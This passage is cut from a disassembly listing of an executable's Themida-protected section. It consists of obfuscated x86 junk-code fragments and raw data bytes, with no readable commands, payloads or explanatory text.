		dd 0F702E1C1h, 0D2F2E9D1h, 0FE01FFFFh, 1700E95Fh, 0B8500000h
		dd 79E15D7Eh, 5E58C701h, 2474FF57h, 48F5F04h, 0EF015C24h
		dd 22E0EF81h, 0E95D7A5Ah, 30A8h, 633BD02Dh, 58C331FAh
		dd 0C63DC381h, 84E9C785h, 100008Ah, 97BD55D9h, 813CF122h
		dd 4167DBC1h, 51E98174h, 1087C39h, 51C181E9h, 0E9087C39h
		dd 57BCh, 81E38953h, 4C3h, 51E95100h, 0B8000064h, 6B272366h
		dd 0AE2A2125h, 56D8F706h, 7B18E9h, 80595A00h, 0D800DEEBh
		dd 5B2434FFh, 4C481h, 0F8E90000h, 0FF00002Fh, 59042474h
		dd 55D0E9h, 7FBE5600h, 554AC805h, 0D8765BBDh, 5DEE0977h
		dd 777BF681h, 0F1017FD8h, 4B15E9h, 0E7895700h, 248468h
		dd 24148900h, 0EA39A4BAh, 0D9BE93Fh, 0C2810000h, 4, 8904EC83h
		dd 0BE56243Ch, 4, 34FFF789h, 0C4835E24h, 33F8E904h, 3C890000h
		dd 70BE5624h, 562677ABh, 7F11E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554B76:				; CODE XREF: Themida_:0055D532j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		push	42C660C8h
		pop	eax
		jmp	loc_55CE8E
; ---------------------------------------------------------------------------
aBXxasi7	db 'Æ',0Ah
		db 'Xxaé¨7',0
		dw 8100h
aSyS8		db 'éy,³*é8}',0
		align 2
		dw 0C781h
		dd 4, 8704C783h, 15C243Ch, 0E0682404h, 0E9000056h, 424Fh
		dd 4EC8353h, 52242C89h,	8348BBBAh, 0D1F28157h, 42496942h
		dd 60A9BB53h, 0CB816BBAh, 614B2507h, 0E29FC381h, 0DA21EAE2h
		dd 0E94A425Bh, 272Bh, 0C581E589h, 4, 8704C583h,	585C242Ch
		dd 11A76853h, 1CE92E50h, 0F7000031h, 8E9CE9D0h,	6C010000h
		dd 44810424h, 29390424h, 5E5D0049h, 450C68h, 240C8900h
		dd 0E2494DB9h, 0BCE18164h, 817D3865h, 0F119EBC9h, 0E538E97Ch
		dd 34FFFFFFh, 59EE924h,	54550000h, 4C5815Dh, 52000000h
		dd 2BAh, 0B2ED8100h, 8137C921h,	0B865F6C5h, 51BCE92Bh
		dd 0F660000h, 9C2404A3h, 0FFCBA8E9h, 240C8BFFh,	0FFED96E9h
		dd 1DEF81FFh, 1B623CFh,	68525FF8h, 7F92h, 0B8240489h, 0AD601A1h
		dd 47E9D0F7h, 53FFFFD4h, 740A31BBh, 16C3810Bh, 29ED1DEBh
		dd 0F9895BDFh, 0FFF7C1E9h, 0FBB951FFh, 0C130A40Dh, 45E902E1h
		dd 3300008Ah, 248B2414h, 5DA36824h, 14890000h, 81E28924h
		dd 4C2h, 4EA8300h, 0E9241487h, 816Ah, 421E981h,	6CE91344h
		dd 0BD000078h, 604C44DCh, 0F705E5C1h, 0F034E9DDh, 0E959FFFFh
		dd 0FFFFCB1Dh, 4C68158h, 87000000h, 685C2434h, 685Dh, 51241C89h
		dd 0BF57E189h, 449179D7h, 0FFD69FE9h, 48B66FFh,	5B545324h
		dd 8904EC83h, 18BF243Ch, 8115883Dh, 917D32C7h, 0D7A6E971h
		dd 8166FFFFh, 66E9B5EFh, 665FF829h, 6604E0C1h, 6605E8C1h
		dd 66619325h, 660AF735h, 5866C631h, 8BF78966h, 0C4832434h
		dd 0FB016604h, 243C8B66h, 2C481h, 0B70F0000h, 0FDBFE9C0h
		dd 0C383FFFFh, 74FF5304h, 4EE90424h
		db 7Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554D7F:				; CODE XREF: Themida_:005569B3j
		push	36C9h
		jmp	loc_552672
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0F6h
		dd 0E443B983h, 0FFDDBAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554D95:				; CODE XREF: Themida_:00552E46j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		jmp	loc_55225C
; ---------------------------------------------------------------------------
		db 33h
		dd 2C31242Ch, 242C3324h, 8B24248Bh, 54512404h, 0FD5BE959h
		dd 0DEF7FFFFh, 0FFD44DE9h, 81E289FFh, 4C2h, 2BF1E900h
		dd 34330000h, 24343124h, 5C243433h, 31241C33h, 0F5E9241Ch
		dd 83FFFFD5h, 0EA8304C4h, 74FF5202h, 148B0424h,	58545024h
		dd 7E67E9h, 8EAC100h, 0FFE51EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554E01:				; CODE XREF: Themida_:0055B007j
		add	ecx, 3098716Bh
		pop	edx
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55D007
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4870000h, 55585C24h,	0C5815D54h, 4, 8704ED83h, 51E9242Ch
		dd 68000088h, 57D4h, 7F8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_554E41:				; CODE XREF: Themida_:0055C6AEj
		mov	edi, 871D11h
		mov	edx, 0FF78E30Bh
		add	edx, edi
		pop	edi
		add	edx, edi
		push	ebx
		mov	ebx, 0
		jmp	loc_55BB2B
; ---------------------------------------------------------------------------
		db 1
		dd 2434FFD8h, 28B3E95Bh, 8F540000h, 4812404h, 424h, 24348B00h
		dd 817EE9h, 0DAF38100h,	0E9729C59h, 0FFFFD82Ah,	0B8240489h
		dd 64CC2532h, 8CE9E0D1h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554E93:				; CODE XREF: Themida_:00555B62j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		push	10DC71E2h
		pop	edx
		add	edx, 1
		jmp	loc_55B344
; ---------------------------------------------------------------------------
		dd 8002EEC0h, 0EE80BCEEh, 0E9C6FEA0h, 33B0h, 0CA81DAF7h
		dd 43CE103Ch, 53A268h, 243C8900h, 26485EBFh, 81DFF759h
		dd 0A96D1FEFh, 5FFA01F6h, 0B4117505h, 102AE91Dh, 0C2010000h
		dd 508768h, 7F6FE900h, 24D30000h, 0D9A6E924h, 0EA21FFFFh
		dd 0D2EA815Dh, 0E96B087Eh, 37ACh, 4BBh,	6F7CE900h, 0E95D0000h
		dd 348Ah, 0D9ACC781h, 0ADE9F3BBh
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554F23:				; CODE XREF: Themida_:0055310Fj
		mov	bh, ah
		pop	eax
		add	bh, 7Ah
		add	bh, 8
		sub	esp, 2
		mov	[esp], dx
		mov	dl, 0Bh
		xor	bh, dl
		pop	dx
		shl	bh, 3
		jmp	loc_5529F1
; ---------------------------------------------------------------------------
		db 5, 38h, 3Eh
		dd 0F0016ECCh, 3E38B951h, 1CE96ECCh, 8100004Eh,	654ADBEBh
		dd 0E77EE905h, 57ADFFFFh, 77BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_554F65:				; CODE XREF: Themida_:0055CFF2j
		push	ecx
		jmp	loc_5531EC
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 78B95124h,	0B873EE47h, 20C1066h, 2959C801h
		dd 0EFE958C1h, 87000011h, 0E95C2404h, 500h, 8103EEC1h
		dd 2906F6h, 5EF20101h, 0E902C283h, 0FFFFE40Dh, 32E6805Bh
		dd 80ECEE80h, 5AE92CF6h, 88000074h, 59CF88E1h, 0D7F65866h
		dd 83B25266h, 5A66D728h, 1C8BF830h, 0E3895324h,	4C381h
		dd 22E90000h, 0BE000088h, 20310EA4h, 81D6F74Eh,	6F1DC5CEh
		dd 35E94654h, 1000050h,	0C68359CEh, 24348704h, 240C875Ch
		dd 4ECE9h, 4C48300h, 0DFE95457h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555007:				; CODE XREF: Themida_:00558121j
		sub	ebx, edx
		pop	edx
		add	ebx, 68CB5DCDh
		sub	ebx, edx
		sub	ebx, 68CB5DCDh
		push	ebp
		mov	ebp, 4B053FC1h
		jmp	loc_55C051
; ---------------------------------------------------------------------------
		db 49h
		dd 95F2C181h, 0CA29A277h, 0FFD18959h, 5CE92434h, 8BFFFFDBh
		dd 96E92414h, 68FFFFCBh, 7930h,	1AE468h, 48F5400h, 70CEE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555052:				; CODE XREF: Themida_:005522D4j
		mov	edx, edi
		jmp	loc_558F9D
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 0A9h
		dd 816ED32Eh, 4D69C4F3h, 5BDA8924h, 2C53E951h, 8B5D0000h
		dd 0C4832414h, 69685D04h, 89000065h, 0B4B9240Ch, 52434B1Ah
		dd 0E54CBE56h, 0F289BDB4h, 8324348Bh, 7AE904C4h, 66000032h
		dd 59EA005Ah, 685AD000h, 76EEh,	1D58E9h, 243C8700h, 8924248Bh
		dd 26E9242Ch, 0FFFFFFCAh, 0EAE92434h, 8300007Dh, 1C8904ECh
		dd 68E38924h, 43A5h, 0BA241489h, 7F503C5Ah, 0F281E2D1h
		dd 6E96DCBh, 290FBD55h,	0EA21307Ch, 81242C8Bh, 4C4h, 0E9DAF700h
		dd 0FFFFFD05h, 71C7055Bh, 82D2043h, 2937642Dh, 2D0805D8h
		dd 0B9513764h, 5A00950h, 3B2DF181h, 0F1813E76h,	1B9543BAh
		dd 0CDE9C829h, 83000073h, 0C68104C4h, 4, 5051E9h, 14875E00h
		dd 24248B24h, 9C243CD2h, 0FFC6D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55513D:				; CODE XREF: Themida_:00556982j
		push	eax
		mov	eax, 189F07DFh
		add	eax, 676042EAh
		xor	ebp, eax
		pop	eax
		push	edx
		mov	edx, ebp
		jmp	loc_55A1BA
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4ECh, 241C8900h, 4BF57h, 0FB890000h
		dd 0E9h, 243C8B00h, 8104C483h, 0C5DF4C6h, 90C6811Dh, 8170DC6Bh
		dd 0EB674FC6h, 81DE0105h, 0EB674FEEh, 90EE8105h, 8170DC6Bh
		dd 0C5DF4EEh, 241C8B1Dh, 0E904C483h, 1C8Ah, 0B4BA5257h
		dd 8169F52Dh, 2F02C4F2h, 27E2812Fh, 81623829h, 0C6E48AC2h
		dd 5AD78914h, 69C2BE56h, 6DE970B2h, 66000002h, 0E917B652h
		dd 0FFFFDA8Ah, 0E924148Bh, 0FFFFF1BBh, 4EC8159h, 0E9000000h
		dd 86E7h, 66C1815Bh, 8102EF65h,	193E24EAh, 81CA0176h, 193E24C2h
		dd 0C1E95976h, 88000020h, 0E9FC88D7h, 0FFFFCA1Eh, 43932DADh
		dd 142D3B66h, 5590F43h,	3D724A9Fh, 6851D801h, 5DDh, 0BF243C89h
		dd 1C8C0C21h, 0FFFA5EE9h, 5951BAFFh, 0BA525B2Bh, 2A410609h
		dd 0EAC1D2F7h, 0EFEA8106h, 1A6D6A5h, 2CE95AD0h,	52000026h
		dd 947F2EBAh, 72F2811Ch, 81519268h, 0A578E7EAh,	1DC2810Dh
		dd 2907C89Bh, 86685AD0h, 89000028h, 0ADB9240Ch,	3117950Eh
		dd 0B1E959C8h, 81FFFFF7h, 42404h, 815E0000h, 4C6h, 0E1895100h
		dd 122DE9h, 4C18100h, 0E9000000h, 0FFFFF6AAh
; ---------------------------------------------------------------------------


loc_5552A4:				; CODE XREF: Themida_:00555A3Aj
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5583CC
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 895C240Ch, 44B22414h, 0E951EA80h,	0FFFFF47Eh
		dd 59CE015Ah, 5C243487h, 24048B66h, 0E9595451h,	6CE3h
		dd 0D1F6E186h, 2043C180h, 2434FFC8h, 6CE95759h,	8900004Eh
		dd 5E542434h, 763D68h, 243C8900h, 7825E9h, 78CE6800h, 2FE90000h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555307:				; CODE XREF: Themida_:005558D3j
		mov	[esp], ebp
		push	esp
		pop	ebp
		jmp	loc_5582E8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 30F66824h, 34890000h, 57E68924h, 0DD5CDCBFh,	5EFC17Ah
		dd 0EAE2EF81h, 0FE0103D6h, 0E089505Fh, 1698BE56h, 0F681596Ch
		dd 596C169Ch, 2D5EF001h, 4, 5C240487h, 0B9240C89h, 50945CE7h
		dd 0C981D9F7h, 571137E4h, 8103E9C1h, 0A7D65C1h,	8E9C13Fh
		dd 0F9F6F181h, 0EE81005Eh, 4E274DD2h, 0C681CE01h, 4E274DD2h
		dd 8414E9h, 4BB00h, 2EE90000h, 5800007Dh, 6D97E95Bh, 51BD0000h
		dd 31013B4Dh, 0D4A2E9D5h, 0EC83FFFFh, 3F2EE904h, 595E0000h
		dd 3194E981h, 5DE944C9h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5553B3:				; CODE XREF: Themida_:00558177j
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_555F34
; ---------------------------------------------------------------------------
		dw 43BBh
		dd 0F73B7A7Eh, 0F7EB87DBh, 0F7EB87D5h, 51DBF7DBh, 546E9h
		db 0
; ---------------------------------------------------------------------------


loc_5553D9:				; CODE XREF: Themida_:00556935j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_55CD46
		push	dword ptr [edi+28h]
		push	eax
		mov	eax, 55D55E7Ch
		xor	[esp+4], eax
		pop	eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0D7D45BCh
		neg	edx
		dec	edx
		shl	edx, 5
		jmp	loc_55C187
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 8B240433h, 0D3662424h, 0E99C2424h, 0FFFFC3D9h, 0F6814E4Eh
		dd 792B58EFh, 815EF329h, 0F2786AEBh, 81FB0103h,	0F2786AC3h
		dd 853FE903h, 835C0000h, 3C8904ECh, 4EC8124h, 89000000h
		dd 4812424h, 424h, 0C7815F00h, 4, 5704C783h, 42474FFh
		dd 232E9h, 0C38BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55548A:				; CODE XREF: Themida_:005529F5j
		push	eax
		jmp	loc_55304A
; ---------------------------------------------------------------------------
		dd 0CEE9F821h, 0C1000022h, 943506E8h, 484B1028h, 9D62F305h
		dd 433F0545h, 51E9E0B0h, 5700000Ah, 4BFh, 5FFA0100h, 0E9241487h
		dd 863h, 4C4815Fh, 57000000h, 0FFDE60E9h, 5EF789FFh, 6BBBE9h
		dd 24248B00h, 7E9h, 0E9D90100h,	454h, 0FFC32CE9h, 0C327E9FFh
		dd 0C181FFFFh, 4, 4BB53h, 60E90000h, 89000036h,	2BB241Ch
		dd 81000000h, 76CFFC6h,	0C8EE810Ah, 1140724h, 0C8C681DEh
		dd 81140724h, 76CFFEEh,	2434FF0Ah, 245B685Bh, 69E90000h
		dd 0BE000055h, 0CD7DFBFCh, 39EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_555539:				; CODE XREF: Themida_:0055689Cj
		shl	edx, 5
		sub	edx, 0A146F8A4h
		xor	esi, edx
		pop	edx
		xor	esi, 40E26985h
		jmp	loc_556A6C
; ---------------------------------------------------------------------------
		dd 56241C89h, 0AB4881BEh, 0E9464E36h, 7D73h, 6DE9DD89h
		dd 83000084h, 1C8904ECh, 81E38924h, 4ECh, 243C8900h, 0FFEE30E9h
		dd 4335EFFh, 24043124h,	8B240433h, 4D22424h, 82E99C24h
		dd 64FFFFC2h, 7AE932FFh, 0FFFFFFC2h, 1C8B2434h,	28F8E924h
		dd 0C3010000h, 5DD7B850h, 0E8C17813h, 35F32D03h, 76E9CFCDh
		dd 81000023h, 4ECh, 0F8A0E900h,	8B66FFFFh, 0E951240Ch
		dd 2773h
; ---------------------------------------------------------------------------


loc_5555D0:				; CODE XREF: Themida_:005520B1j
		add	edx, edi
		add	edx, 48A75FE9h
		add	edx, 58F64BBDh
		push	ecx
		mov	ecx, 0
		push	eax
		jmp	loc_553CEF
; ---------------------------------------------------------------------------


loc_5555EA:				; CODE XREF: Themida_:005568F6j
		pop	esi
		add	esp, 4
		jmp	loc_5523E3
; ---------------------------------------------------------------------------
		dw 515Bh
		dd 2B9h, 59CF2900h, 390AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555605:				; CODE XREF: Themida_:005527FBj
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_557E2D
; ---------------------------------------------------------------------------
		dw 0EE68h
		dd 89000004h, 18BE2434h, 55765230h, 0C80FF3BDh,	81DDF71Dh
		dd 6E7419F5h, 81DDF75Ah, 195255F5h, 64EE8148h, 29207B5Bh
		dd 5A76E9EEh, 0FA890000h, 0D0215E5Fh, 0CE8C15Ah, 53C3E9h
		dd 0F6CCFE00h, 2ECC0D4h, 8091F480h, 0E73042F4h,	5BF80058h
		dd 0FC3305Bh, 34FFC0B6h, 36BE5687h, 816B593Ah, 6204246Ch
		dd 814C6210h, 6A04246Ch, 0E96B444Eh, 0CBBh, 40A8E95Fh
		dd 0BB0000h, 1000000h, 478BE9CBh, 0BE560000h, 79922F3Ah
		dd 0FFFFC681h, 0C681FFFFh, 0C8C7DD18h, 0EBE9F001h, 5F000041h
		dd 8B24048Fh, 4012424h,	4EE99C24h, 66FFFFC1h, 6824048Bh
		dd 5FD5h, 89240C89h, 4C181E1h, 0E9000000h, 0EE5h, 34FFE821h
		dd 6610E924h, 89570000h, 27B850E7h, 0E93AC825h,	31D2h
		dd 6647E280h, 28C1B753h, 505B66FAh, 6CE9C8B4h, 0FFFFFFEEh
		dd 669D1C77h, 241CD359h, 0C0FBE99Ch, 0D0B7FFFFh, 0FCCE951h
		dd 424A0000h, 1245F281h, 0D08909D9h, 82D2E9h, 86B25200h
		dd 0E2C0CAFEh, 6E2C008h, 2E9D2F6h, 89FFFFD6h, 59E92424h
		dd 5100000Fh, 3362A168h, 240C8B78h, 4C481h, 0FE050000h
		dd 2903B209h, 0FEBE56C8h, 2D03B209h, 601C7003h,	29B5E9h
		dd 0FFFB0100h, 525F2434h, 0FFF644E9h, 17BF57FFh, 6843FC02h
		dd 6DD1h, 0BB241C89h, 0BD4C18F2h, 448E9h
		db 0
; ---------------------------------------------------------------------------


loc_555795:				; CODE XREF: Themida_:0055B8ADj
		add	esi, 4
		push	edx
		mov	edx, 4
		sub	esi, edx
		pop	edx
		xchg	esi, [esp]
		jmp	loc_558295
; ---------------------------------------------------------------------------


loc_5557AC:				; CODE XREF: Themida_:0055BC67j
		mov	[esp], ebx
		jmp	loc_55D5EE
; ---------------------------------------------------------------------------


loc_5557B4:				; CODE XREF: Themida_:0055B9FEj
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		and	eax, esi
		pop	esi
		or	edx, eax
		shl	edx, 1
		push	66A2h
		mov	[esp], eax
		push	24h
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 374D4369h
		add	eax, edi
		add	eax, 374D4369h
		push	edx
		mov	edx, 0
		add	edx, eax
		push	eax
		jmp	loc_5559D6
; ---------------------------------------------------------------------------
		dw 421h
		dd 1AE99C24h, 66FFFFC0h, 5124048Bh, 0C181E189h,	4, 4EC81h
		dd 1C890000h, 7C6FE924h, 0E95D0000h, 0FFFFBFF9h, 37C0BD55h
		dd 0ED810347h, 1, 514DDDF7h, 0CDF0E955h, 0E95EFFFFh, 12ADh
		dd 5516BF57h, 0BEE908A1h, 89000002h, 52502434h,	0B6599468h
		dd 63EFE91Eh, 0BEE90000h, 0E9FFFFBFh, 0FFFFBFB9h, 31E9D828h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555863:				; CODE XREF: Themida_:0055C1EBj
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_555BF3
; ---------------------------------------------------------------------------
		dd 4EC81ADh, 89000000h,	0E9E9241Ch
		db 27h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55588B:				; CODE XREF: Themida_:00558763j
		sub	esi, 1
		jmp	loc_555B48
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0EB90E924h, 565FFFFFh, 0C7B0E950h,	0F780FFFFh
		dd 5BFD2867h, 0C580DD28h, 8CE95B1Eh, 8F00006Ch,	56E94047h
		dd 66FFFFBFh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555307
; ---------------------------------------------------------------------------
		dd 9C2424D2h, 0FFC09BE9h, 0C3E942FFh, 0AC00001Ah, 2C04382Ch
		dd 0FFFF6BE9h, 0FFE681FFh, 8162F569h, 0B67268C6h, 0E9E6D15Ch
		dd 1FA8h, 0FD0899B7h, 0D5F65B66h, 32A9E9h, 0E9C82800h
		dd 81C8h, 4BE92EB2h, 0B9FFFFCEh, 5CAD7117h, 0E959CB29h
		dd 4272h, 2BB5357h, 0E9000000h,	400Fh, 7663E981h, 0E9812697h
		dd 0D45534Ah, 2DD6E9h, 4EC8300h, 0B8240489h, 6CCB33C6h
		dd 0E905E0C1h, 0FFFFD64Eh, 0E1B35366h, 8B66DD30h, 8951241Ch
		dd 4C181E1h, 81000000h,	2C1h, 240C8700h, 0EB88535Ch, 5E9DC88h
		dd 8F000050h, 0BF572404h, 4, 4247C01h, 0E9243C8Bh, 6E9Ch
		dd 240C8B66h, 4EC81h, 34890000h, 3E1F6824h, 94E90000h
		dd 59FFFFFDh, 0E7E95457h, 83FFFFFEh, 0C33004C4h, 4709E9h
		dd 24248B00h, 89242C89h, 154268DDh, 2C890000h, 68FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5559D6:				; CODE XREF: Themida_:005557EDj
		push	ecx
		mov	ecx, 600A38AFh
		mov	eax, 600A38AFh
		xor	eax, ecx
		pop	ecx
		add	eax, edx
		add	dword ptr [eax], 1
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4


loc_555A01:				; CODE XREF: Themida_:0055BDA9j
		push	2248h
		jmp	loc_55D07C
; ---------------------------------------------------------------------------
		db 68h
		dd 6859h, 2EFB68h, 68E95400h, 5DFFFFFFh, 565BDE89h, 0D8315E5Bh
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_5552A4
; ---------------------------------------------------------------------------
		db 5
		dd 6EE43874h, 0D50C0F35h, 0E9C1015Fh, 0FFFFC590h, 68240C8Bh
		dd 12A2h, 54241C89h, 4C3815Bh, 83000000h, 1C8704C3h, 0D1015C24h
		dd 4EC8152h, 89000000h,	0E955243Ch, 4CCFh, 0FD88F5B7h
		dd 34CE9h, 8BEA0100h, 0C483242Ch, 0E27BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555A92:				; CODE XREF: Themida_:005527F0j
		xchg	ecx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5531C4
		push	ebx
		mov	ebx, 1Ch
		push	edx
		mov	edx, 163F20DAh
		add	ebx, edx
		pop	edx
		add	ebx, edi
		push	edx
		mov	edx, 163F20DAh
		sub	ebx, edx
		mov	edx, [esp]
		push	esi
		push	esp
		jmp	loc_55962F
; ---------------------------------------------------------------------------


loc_555AC3:				; CODE XREF: Themida_:0055426Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	ecx, [esp]
		jmp	loc_559984
; ---------------------------------------------------------------------------
		db 5Ch
		dd 667EBA52h, 0D32927D7h, 4BEB815Ah, 1797437h, 4BC381FBh
		dd 81797437h, 0D7667EC3h, 5633FF27h, 3936E9h, 76C78100h
		dd 8127E231h, 0DE53B4E7h, 86E7811Ch, 4F63306Ah,	0EE9F787h
		db 3Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555B1B:				; CODE XREF: Themida_:00553DAAj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	ebx
		mov	ebx, 591C585Bh
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	4BE5h
		mov	[esp], edi
		jmp	loc_558175
; ---------------------------------------------------------------------------


loc_555B48:				; CODE XREF: Themida_:0055588Ej
		add	esi, 0DF76B92Eh
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		jmp	loc_554E93
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 3369C52Dh, 3FE95101h,	400007Dh, 53D8280Fh
		dd 85E96EB7h, 80000031h, 2FE979F1h, 89000068h, 58542404h
		dd 405h, 6EB4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555B9E:				; CODE XREF: Themida_:0055DBCCj
		push	edi
		push	4
		pop	edi
		jmp	loc_559463
; ---------------------------------------------------------------------------
		dw 0D0F6h
		dd 1D2CFF04h, 0E956EA80h, 614Dh, 0C8B665Ch, 89505524h
		dd 2685E9E0h, 0BB530000h, 1E20F26h, 0C15BDF89h,	0EF8103EFh
		dd 3C41E0h, 0FFE4ABE9h,	5BDF31FFh, 1C75C381h, 0FB292649h
		dd 1C75EB81h, 56E92649h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555BF3:				; CODE XREF: Themida_:00555877j
		push	ecx
		mov	ch, 18h
		and	ch, 8Dh
		add	ch, 0CBh
		shl	ch, 1
		add	ch, 1
		jmp	loc_55488C
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 37B16961h, 3B35BA52h, 0E2C160B0h, 47CA8108h,	0C145C67Dh
		dd 0F28102E2h, 392A6304h, 7BCDBF57h, 9BE96822h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_555C2F:				; CODE XREF: Themida_:00553A19j
		push	ebx
		push	edx
		push	ebp
		mov	ebp, 73891F27h
		mov	edx, ebp
		pop	ebp
		neg	edx
		neg	edx
		and	edx, 223756ACh
		shr	edx, 8
		push	ebx
		mov	ebx, 409D2540h
		xor	edx, ebx
		pop	ebx
		mov	ebx, edx
		pop	edx
		add	ebx, 0BF40DC2Ah
		and	ecx, ebx
		jmp	loc_55C61A
; ---------------------------------------------------------------------------
		dd 0F15FBF57h, 0EE819441h, 0F536B3h, 0C681FE29h, 0F536B3h
		dd 7FD2E95Fh, 0E5C10000h, 0FFBF5703h, 0E9FFFFFFh, 155Ah
; ---------------------------------------------------------------------------


loc_555C88:				; CODE XREF: Themida_:00553EF5j
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_551815
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 0B1A5143h, 9FE9DF89h, 52000059h, 0FFEFF8E9h,	514C04FFh
		dd 0E9800FB1h, 515366C5h, 1BCBE9h, 19BE6600h, 0F6816611h
		dd 81661CA7h, 6625DBEEh, 0DEF76646h, 5CEE8166h,	2598E94Bh
		dd 295B0000h, 0EE875BDEh, 0EE87D5F7h, 0E904EEC1h, 0FFFFCBC0h
; ---------------------------------------------------------------------------


loc_555CF0:				; CODE XREF: Themida_:0055BB2Cj
		mov	ebp, 7DA53ACBh
		shr	ebp, 7
		push	eax
		jmp	loc_556198
; ---------------------------------------------------------------------------
aAaTbS8SA	db 'ºa\"Ñâ™',8,'8#é',7,'A',0
		align 10h


loc_555D10:				; CODE XREF: Themida_:00557AB9j
		mov	ecx, 5B013524h
		sub	ebx, ecx
		pop	ecx
		push	edx
		mov	edx, 489155B4h
		jmp	loc_558115
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0FFC21FE9h, 19872DFFh, 13E944D3h, 81000027h,	2252242Ch
		dd 0E95E1BFBh, 4D3Bh, 89241489h, 85BE56E2h, 0C13FAE44h
		dd 0F68103EEh, 7D9804E5h, 754CE9h, 0C9816600h, 81661748h
		dd 66DF2DE9h, 664C742Dh, 5666C829h, 4C74BE66h, 585CE9h
		dd 5AD08900h, 48BC129h,	4C48124h, 51000000h, 5F09595Bh
		dd 2434FF1Ch
		db 5Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_552CF8
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 7CE90000h, 83000056h, 148704C2h, 0BB535C24h
		dd 21CE14A8h, 4EB6E9h
		db 0
; ---------------------------------------------------------------------------


loc_555DC1:				; CODE XREF: Themida_:0055CC5Bj
		mov	dh, 6Eh
		shr	dh, 1
		jmp	loc_558039
; ---------------------------------------------------------------------------
		dw 0FA09h
		dd 0FFF8BBE9h, 67E95BFFh, 4EFFFFDEh, 1893E946h,	0C8B0000h
		dd 0B5C6824h, 14890000h, 51E28924h, 8603DEB9h, 0EBE98122h
		dd 0F7177623h, 0F7C181D9h, 810B0FDFh, 0FF4BBBC2h, 57CA015Bh
		dd 1ABFB951h, 0B1BF3C69h, 299C715Eh, 0F78159CFh, 4AD769FCh
		dd 3F99E9h, 242C8900h, 6D6C2268h, 58E95D5Fh, 81000017h
		dd 4ECh, 243C8900h, 62623DBFh, 0D7F74F2Dh, 404FC781h, 0BA526024h
